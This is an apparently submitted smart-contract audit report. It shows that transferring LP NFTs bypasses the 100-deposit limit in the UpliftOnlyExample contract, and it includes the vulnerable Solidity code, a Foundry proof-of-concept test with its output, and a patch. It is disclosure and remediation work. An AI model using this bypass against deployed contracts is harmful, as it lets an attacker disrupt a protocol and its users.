Summary
The UpliftOnlyExample contract allows malicious users to add liquidity to the pools more than 100 times. As it can be seen in the code snippet below, the addLiquidityProportional function of the contract allows the sender to add liquidity to the pools. Indeed the function does check that the sender can add liquidity to the pools only limited number of time. The expectation was to limit senders up to 100 times to add liquidity to the pool. However, a feature of the contract allows malicious users to add liquidity to the pools more than 100 times. This could make the contract vulnerable to DDoS attacks. The attacker could add liquidity to the pools more than 100 times and disrupt the contract's intended functionality.
The attacker can exploit this vulnerability anytime if the attacker has knowledge of this vulnerability. Attacker only has to pay some fee (very few) at the end when the attacker removes the liquidity. This could be a potential issue and the attacker could exploit this vulnerability to disrupt the contract's intended functionality, as the attacker knows that all the added liquidity can be recovered at the end.
Vulnerability Details
The buggy issue is the tranfer of the NFT token to someone else. This feature introduces a potential vulnerability to the contract. An attacker can transfer the NFT token to another user (actually attacker will pretend to be another user) and then the attacker can add liquidity to the pool more than 100 times.
see the code snippet below:
UpliftOnlyExample.sol::addLiquidityProportional:
function addLiquidityProportional(
address pool,
uint256[] memory maxAmountsIn,
uint256 exactBptAmountOut,
bool wethIsEth,
bytes memory userData
) external payable saveSender(msg.sender) returns (uint256[] memory amountsIn) {
@> if (poolsFeeData[pool][msg.sender].length > 100) {
revert TooManyDeposits(pool, msg.sender);
}
.
.
.
}
Above we can see atleast there's a check to limit the users to avoid adding liquidity to the pools more than 100 times or 101 times actually. But the issue is that the attacker can transfer the NFT token to another user and then the attacker can add liquidity to the pool more than 100 times.
see the code snippet below:
LPNFT.sol::_update: (an override function)
function _update(address to, uint256 tokenId, address auth) internal override returns (address previousOwner) {
previousOwner = super._update(to, tokenId, auth);
if (to != address(0) && previousOwner != address(0)) {
@> router.afterUpdate(previousOwner, to, tokenId);
}
}
Let's say the attacker transfers the NFT token to another user, so after that above code snippet will be executed and the afterUpdate function will be called. The afterUpdate function is a public function only callable by LPNFT contract and it allows the attacker to add liquidity to the pool more than 100 times.
Above _update function override's super call has changed the ownership of the NFT. Now only records need to be updated...
see the code snippet below:
UpliftOnlyExample.sol::afterUpdate:
function afterUpdate(address _from, address _to, uint256 _tokenID) public {
if (msg.sender != address(lpNFT)) {
revert TransferUpdateNonNft(_from, _to, msg.sender, _tokenID);
}
address poolAddress = nftPool[_tokenID];
if (poolAddress == address(0)) {
revert TransferUpdateTokenIDInvaid(_from, _to, _tokenID);
}
int256[] memory prices = IUpdateWeightRunner(_updateWeightRunner).getData(poolAddress);
uint256 lpTokenDepositValueNow = getPoolLPTokenValue(prices, poolAddress, MULDIRECTION.MULDOWN);
FeeData[] storage feeDataArray = poolsFeeData[poolAddress][_from];
uint256 feeDataArrayLength = feeDataArray.length;
uint256 tokenIdIndex;
bool tokenIdIndexFound = false;
for (uint256 i; i < feeDataArrayLength; ++i) {
if (feeDataArray[i].tokenID == _tokenID) {
tokenIdIndex = i;
tokenIdIndexFound = true;
break;
}
}
@> if (tokenIdIndexFound) {
if (_to != address(0)) {
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
@> poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
if (tokenIdIndex != feeDataArrayLength - 1) {
for (uint256 i = tokenIdIndex + 1; i < feeDataArrayLength; i++) {
delete feeDataArray[i - 1];
feeDataArray[i - 1] = feeDataArray[i];
}
}
delete feeDataArray[feeDataArrayLength - 1];
feeDataArray.pop();
}
}
}
The afterUpdate function updates the state of the contract and gives the attacker the ability to perform a DDoS attack.
PoC
The following code snippet demonstrates how the contract could be exploited to add/transfer liquidity to the pool more than 100 times:
Steps to reproduce:
Go to the test folder inside pool-hooks folder then -> foundry folder -> UpliftExample.t.sol
Add the following test snippet just below the setUp function in the UpliftExample.t.sol file:
function testAddLiquidityBypassDepositLimitDemon() public {
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
uint256 bptAmountDeposit = bptAmount / 150;
vm.startPrank(alice);
for (uint256 i = 0; i <= 100; i++) {
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmountDeposit, false, bytes(""));
skip(1 days);
}
vm.stopPrank();
vm.startPrank(bob);
for (uint256 i = 0; i <= 100; i++) {
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmountDeposit, false, bytes(""));
skip(1 days);
}
LPNFT lpNft = upliftOnlyRouter.lpNFT();
for (uint256 i = 101; i < 202; i++) {
lpNft.transferFrom(bob, alice, i + 1);
}
vm.stopPrank();
UpliftOnlyExample.FeeData[] memory alicePoolFeeData = upliftOnlyRouter.getUserPoolFeeData(pool, alice);
console.log("alice's poolFeeData length: ", alicePoolFeeData.length);
assertEq(alicePoolFeeData.length, 202, "can't deposit more than 100 deposits in any way");
}
-
Please read the comments in the code snippet to understand the test case.
-
Now run the test cases using the following command: (Make sure you are in the pool-hooks directory)
forge test --mt testAddLiquidityBypassDepositLimitDemon -vv
As we can see in the output, the contract allows the sender to add/transfer liquidity to the pool more than 100 times.
[⠢] Compiling...
No files changed, compilation skipped
Ran 1 test for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] testAddLiquidityBypassDepositLimitDemon() (gas: 385454817)
Logs:
alice's poolFeeData length: 202
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 242.56ms (216.13ms CPU time)
Ran 1 test suite in 244.64ms (242.56ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
-
The attacker can add/transfer liquidity to the pool more than 100 times.
-
The contract is vulnerable to DDoS attacks.
-
A malicious actor who has knowledge of this vulnerability could add/transfer liquidity to the pool more than 100 times and could gain the advantage of a DDoS attack.
-
Attacker can perform a DDoS attack at any time because the attacker knows that all the added liquidity can be recovered at the end. Attacker has to pay only some fee at the end when the attacker removes the liquidity, the attacker will get all the added liquidity back.
-
Vulnerability breaks the add liquidity invariant, which is:
lim(m→100) [PFD ← l] = liquidity_added_in_the_pool
where:
m = multiplier (initially 1, increasing to 100)
l = desired liquidity to add
PFD = pool fee data
← represents pushing or adding liquidity
Tools Used
Foundry (Framework)
Manual Review
fuzz testing
Recommendations
The solution is simple and straightforward. The contract should limit the sender to add/transfer liquidity to the pools only 100 times. The following code snippet demonstrates the solution:
function afterUpdate(address _from, address _to, uint256 _tokenID) public {
if (msg.sender != address(lpNFT)) {
revert TransferUpdateNonNft(_from, _to, msg.sender, _tokenID);
}
address poolAddress = nftPool[_tokenID];
if (poolAddress == address(0)) {
revert TransferUpdateTokenIDInvaid(_from, _to, _tokenID);
}
int256[] memory prices = IUpdateWeightRunner(_updateWeightRunner).getData(poolAddress);
uint256 lpTokenDepositValueNow = getPoolLPTokenValue(prices, poolAddress, MULDIRECTION.MULDOWN);
FeeData[] storage feeDataArray = poolsFeeData[poolAddress][_from];
uint256 feeDataArrayLength = feeDataArray.length;
uint256 tokenIdIndex;
bool tokenIdIndexFound = false;
//find the tokenID index in the array
for (uint256 i; i < feeDataArrayLength; ++i) {
if (feeDataArray[i].tokenID == _tokenID) {
tokenIdIndex = i;
tokenIdIndexFound = true;
break;
}
}
if (tokenIdIndexFound) {
if (_to != address(0)) {
// Update the deposit value to the current value of the pool in base currency (e.g. USD) and the block index to the current block number
//vault.transferLPTokens(_from, _to, feeDataArray[i].amount);
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
+ if (poolsFeeData[poolAddress][_to].length >= 100) {
+ revert TooManyDeposits(poolAddress, _to);
+ }
//actual transfer not a afterTokenTransfer caused by a burn
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
if (tokenIdIndex != feeDataArrayLength - 1) {
//Reordering the entire array could be expensive but it is the only way to keep true FILO
for (uint256 i = tokenIdIndex + 1; i < feeDataArrayLength; i++) {
delete feeDataArray[i - 1];
feeDataArray[i - 1] = feeDataArray[i];
}
}
delete feeDataArray[feeDataArrayLength - 1];
feeDataArray.pop();
}
}
}
The above solution limits the sender to add/transfer liquidity to the pools only 100 times. Therefore, enhancing the security of the contract.